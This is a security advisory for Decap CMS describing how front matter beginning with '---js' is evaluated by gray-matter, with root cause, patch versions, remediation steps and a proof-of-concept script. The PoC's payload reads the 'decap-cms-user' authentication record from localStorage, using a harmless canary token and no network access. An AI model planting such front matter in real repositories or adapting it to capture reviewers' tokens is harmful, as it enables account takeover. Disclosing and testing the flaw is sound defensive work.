# GHSA-FMJM-VJMX-5XHQ: Repository-controlled JavaScript front matter executes in the authenticated Decap CMS origin

- Database: GitHub
- Severity: CVSS 8.7 (High)
- Published: 2026-10-26
- Modified: 2026-10-26

## Affected versions

- decap-cms-core (npm): through 3.20.1
- decap-cms-app (npm): through 3.17.1
- decap-cms (npm): through 3.17.1

## Description

## Summary

Decap parses front matter with gray-matter, whose built-in JavaScript engine `eval()`s front matter that opens with `---js` or `---javascript`. The language after the opening delimiter overrides the collection's configured format, so this applies to YAML collections too. Any file that reaches the repository, for example through an open-authoring pull request or an editor with fewer rights, therefore runs code in the CMS with the signed-in user's backend token as soon as the entry is listed or opened.

## Patches

Fixed in `decap-cms-core` 3.20.2, which ships in `decap-cms-app` 3.17.2 and `decap-cms` 3.17.2 (the CDN bundle). JavaScript front matter is now rejected like any other malformed front matter: the entry loads with empty data and the error is logged.

## Workarounds

None short of upgrading. Review repository changes, especially pull requests from outside contributors, for files whose front matter starts with `---js` or `---javascript`.

---

### Summary

Decap CMS `3.16.3` passes repository-controlled Markdown front matter to `gray-matter@4.0.3`. Decap supplies YAML, TOML, and JSON engines, but `gray-matter` merges this partial map with its built-in engines. A first line of `---js` therefore selects the built-in JavaScript engine and evaluates the remainder of the front-matter block.

The path is reached while Decap loads an ordinary entry or an unpublished editorial-workflow entry. It also overrides a collection explicitly configured with `yaml-frontmatter`. A contributor who can modify an entry can make JavaScript run when a reviewer opens it in Decap CMS. The code executes in the CMS browser origin and can access the authentication record stored under `decap-cms-user`.

The PoC imports the exact release formatter and demonstrates both vulnerable paths using a non-secret token canary. An ordinary `---yaml` entry is the negative control.

### Details

#### Affected release

The confirmed affected product is `decap-cms@3.16.3`, commit [`1d5868347d3d8648d7d5f7f59fc1b46595881b29`](https://github.com/decaporg/decap-cms/commit/1d5868347d3d8648d7d5f7f59fc1b46595881b29). The vulnerable formatter is shipped in `decap-cms-core@3.19.1`, and the locked parser is `gray-matter@4.0.3`.

On 2026-09-23, the `decap-cms-app@3.16.3` tag and upstream `main` resolved to the same affected commit. No earlier Decap release was tested, and no patched release is known.

#### Preconditions

- The attacker can create or modify a Markdown entry that a different Decap user can review, for example through an ordinary shared editorial workflow.

- The reviewer opens the crafted entry in Decap CMS.

- The deployment's Content Security Policy permits the evaluation used by the shipped parser. A strict policy that excludes `unsafe-eval` can block this path as defense in depth.

The report does not claim that an arbitrary unauthenticated user, or a GitHub Open Authoring fork that is not visible inside the CMS, can directly trigger a maintainer's browser.

#### Root cause

Markdown, Markdown-extension, and default entries resolve to `FrontmatterInfer`; explicitly selected `yaml-frontmatter` entries resolve to the same formatter class with YAML options:

- [`packages/decap-cms-core/src/formats/formats.ts` lines 32-52](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/formats/formats.ts#L32-L52)

- [`packages/decap-cms-core/src/formats/formats.ts` lines 66-97](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/formats/formats.ts#L66-L97)

For a delimiter longer than `---`, Decap deliberately leaves language selection to `gray-matter`. Decap then passes only TOML, JSON, and YAML engines:

- [`packages/decap-cms-core/src/formats/frontmatter.ts` lines 18-61](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/formats/frontmatter.ts#L18-L61)

- [`packages/decap-cms-core/src/formats/frontmatter.ts` lines 94-109](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/formats/frontmatter.ts#L94-L109)

`gray-matter@4.0.3` merges its defaults before Decap's supplied map, lets a language suffix override the configured language, aliases `js` to `javascript`, and evaluates that engine directly:

- [`gray-matter/lib/defaults.js` lines 6-17](https://github.com/jonschlinkert/gray-matter/blob/e54a33b394e14a1808b88f939507f374552906e4/lib/defaults.js#L6-L17)

- [`gray-matter/index.js` lines 81-109](https://github.com/jonschlinkert/gray-matter/blob/e54a33b394e14a1808b88f939507f374552906e4/index.js#L81-L109)

- [`gray-matter/lib/engine.js` lines 14-29](https://github.com/jonschlinkert/gray-matter/blob/e54a33b394e14a1808b88f939507f374552906e4/lib/engine.js#L14-L29)

- [`gray-matter/lib/engines.js` lines 32-49](https://github.com/jonschlinkert/gray-matter/blob/e54a33b394e14a1808b88f939507f374552906e4/lib/engines.js#L32-L49)

Decap invokes the formatter on repository bytes for both normal and unpublished entries:

- [`packages/decap-cms-core/src/backend.ts` lines 1018-1027](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/backend.ts#L1018-L1027)

- [`packages/decap-cms-core/src/backend.ts` lines 1065-1089](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/backend.ts#L1065-L1089)

The authenticated browser state is stored in origin-readable `localStorage` under `decap-cms-user`:

- [`packages/decap-cms-core/src/backend.ts` lines 112-125](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/backend.ts#L112-L125)

#### Suggested remediation

1. Reject front-matter language markers outside an explicit Decap allowlist before calling `gray-matter`.
2. Override both the `js` and `javascript` engines with parsers that always throw; a partial engine map is not an allowlist because `gray-matter` restores missing built-ins.
3. Prefer a maintained parser or fork with no executable front-matter engine enabled by default.
4. Add regression tests for `---js` and `---javascript` through inferred Markdown, the default `frontmatter` format, explicit `yaml-frontmatter`, and unpublished-entry loading.
5. Retain a strict Content Security Policy without `unsafe-eval` as defense in depth, not as the sole fix.

### PoC

#### Prerequisites

- Git
- Bun

The PoC imports Decap's exact release formatter. It provides a minimal in-memory `localStorage` containing only `LOCAL-CANARY-NOT-A-REAL-TOKEN`; it makes no request and accesses no external data.

#### 1. Check out the affected release and install the formatter dependencies

```bash
mkdir decap-frontmatter-poc
cd decap-frontmatter-poc
git clone --depth 1 --branch 'decap-cms-app@3.16.3' \
  https://github.com/decaporg/decap-cms.git decap-cms
mkdir runner
cd runner
bun init -y
bun add --exact \
  @iarna/toml@2.2.5 \
  buffer@6.0.3 \
  dayjs@1.11.18 \
  gray-matter@4.0.3 \
  tomlify-j0.4@3.0.0 \
  yaml@1.10.2
```

Save the following as `poc.ts`:

```typescript
import path from 'node:path';
import { pathToFileURL } from 'node:url';

const sourceRoot = path.resolve(Bun.argv[2] ?? 'decap-cms');
const formatterUrl = pathToFileURL(
  path.join(sourceRoot, 'packages', 'decap-cms-core', 'src', 'formats', 'frontmatter.ts'),
).href;

const { FrontmatterInfer, frontmatterYAML } = await import(formatterUrl);
const appPackage = await Bun.file(
  path.join(sourceRoot, 'packages', 'decap-cms-app', 'package.json'),
).json();
const corePackage = await Bun.file(
  path.join(sourceRoot, 'packages', 'decap-cms-core', 'package.json'),
).json();

const authKey = 'decap-cms-user';
const markerKey = 'decap-frontmatter-poc-marker';
const fakeToken = 'LOCAL-CANARY-NOT-A-REAL-TOKEN';
const storage = new Map<string, string>();

Object.defineProperty(globalThis, 'localStorage', {
  configurable: true,
  value: {
    getItem(key: string) {
      return storage.get(key) ?? null;
    },
    setItem(key: string, value: string) {
      storage.set(key, String(value));
    },
    removeItem(key: string) {
      storage.delete(key);
    },
  },
});

localStorage.setItem(authKey, JSON.stringify({ token: fakeToken }));

const javascriptFrontmatter = `---js
(() => {
  const auth = JSON.parse(globalThis.localStorage.getItem('${authKey}') || '{}');
  globalThis.localStorage.setItem('${markerKey}', JSON.stringify({
    executed: true,
    tokenCanary: auth.token
  }));
  return { title: 'Repository-controlled entry' };
})()
---
Body
`;

localStorage.removeItem(markerKey);
const inferredResult = FrontmatterInfer.fromFile(javascriptFrontmatter);
const inferredMarker = JSON.parse(localStorage.getItem(markerKey) ?? 'null');

localStorage.removeItem(markerKey);
const explicitYamlResult = frontmatterYAML().fromFile(javascriptFrontmatter);
const explicitYamlMarker = JSON.parse(localStorage.getItem(markerKey) ?? 'null');

localStorage.removeItem(markerKey);
const yamlControlResult = FrontmatterInfer.fromFile(`---yaml
title: Ordinary entry
---
Body
`);
const yamlControlExecuted = localStorage.getItem(markerKey) !== null;

const reproduced =
  appPackage.version === '3.16.3' &&
  inferredMarker?.executed === true &&
  inferredMarker?.tokenCanary === fakeToken &&
  explicitYamlMarker?.executed === true &&
  explicitYamlMarker?.tokenCanary === fakeToken &&
  yamlControlExecuted === false &&
  inferredResult.title === 'Repository-controlled entry' &&
  explicitYamlResult.title === 'Repository-controlled entry' &&
  yamlControlResult.title === 'Ordinary entry';

console.log(
  JSON.stringify(
    {
      package: `decap-cms-app@${appPackage.version}`,
      component: `decap-cms-core@${corePackage.version}`,
      inferredMarker,
      explicitYamlMarker,
      yamlControlExecuted,
      externalNetworkUsed: false,
      reproduced,
    },
    null,
    2,
  ),
);

if (!reproduced) process.exitCode = 1;
```

#### 2. Run the PoC

```bash
NODE_PATH="$PWD/node_modules" bun poc.ts ../decap-cms
```

A successful run exits with status 0 and prints:

```json
{
  "package": "decap-cms-app@3.16.3",
  "component": "decap-cms-core@3.19.1",
  "inferredMarker": {
    "executed": true,
    "tokenCanary": "LOCAL-CANARY-NOT-A-REAL-TOKEN"
  },
  "explicitYamlMarker": {
    "executed": true,
    "tokenCanary": "LOCAL-CANARY-NOT-A-REAL-TOKEN"
  },
  "yamlControlExecuted": false,
  "externalNetworkUsed": false,
  "reproduced": true
}
```

The two positive results demonstrate that `---js` reaches the JavaScript engine through both inferred front matter and a formatter explicitly configured for YAML. The negative control demonstrates that an ordinary `---yaml` entry does not execute the marker.

### Impact

A contributor who can place a crafted entry in a shared editorial workflow can execute JavaScript in a reviewer's authenticated Decap CMS origin when that reviewer opens the entry. Code in that origin can read the reviewer's stored provider authentication record and perform CMS or provider actions with the reviewer's authority.

Reported by [Omoikane Labs](https://github.com/Omoikane-Labs). Requested credit: [ffasterss](https://github.com/ffasterss) & [shirabe0x05](https://github.com/shirabe0x05).

## References

- https://github.com/decaporg/decap-cms/security/advisories/GHSA-fmjm-vjmx-5xhq

Page: https://cve.now/GHSA-FMJM-VJMX-5XHQ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
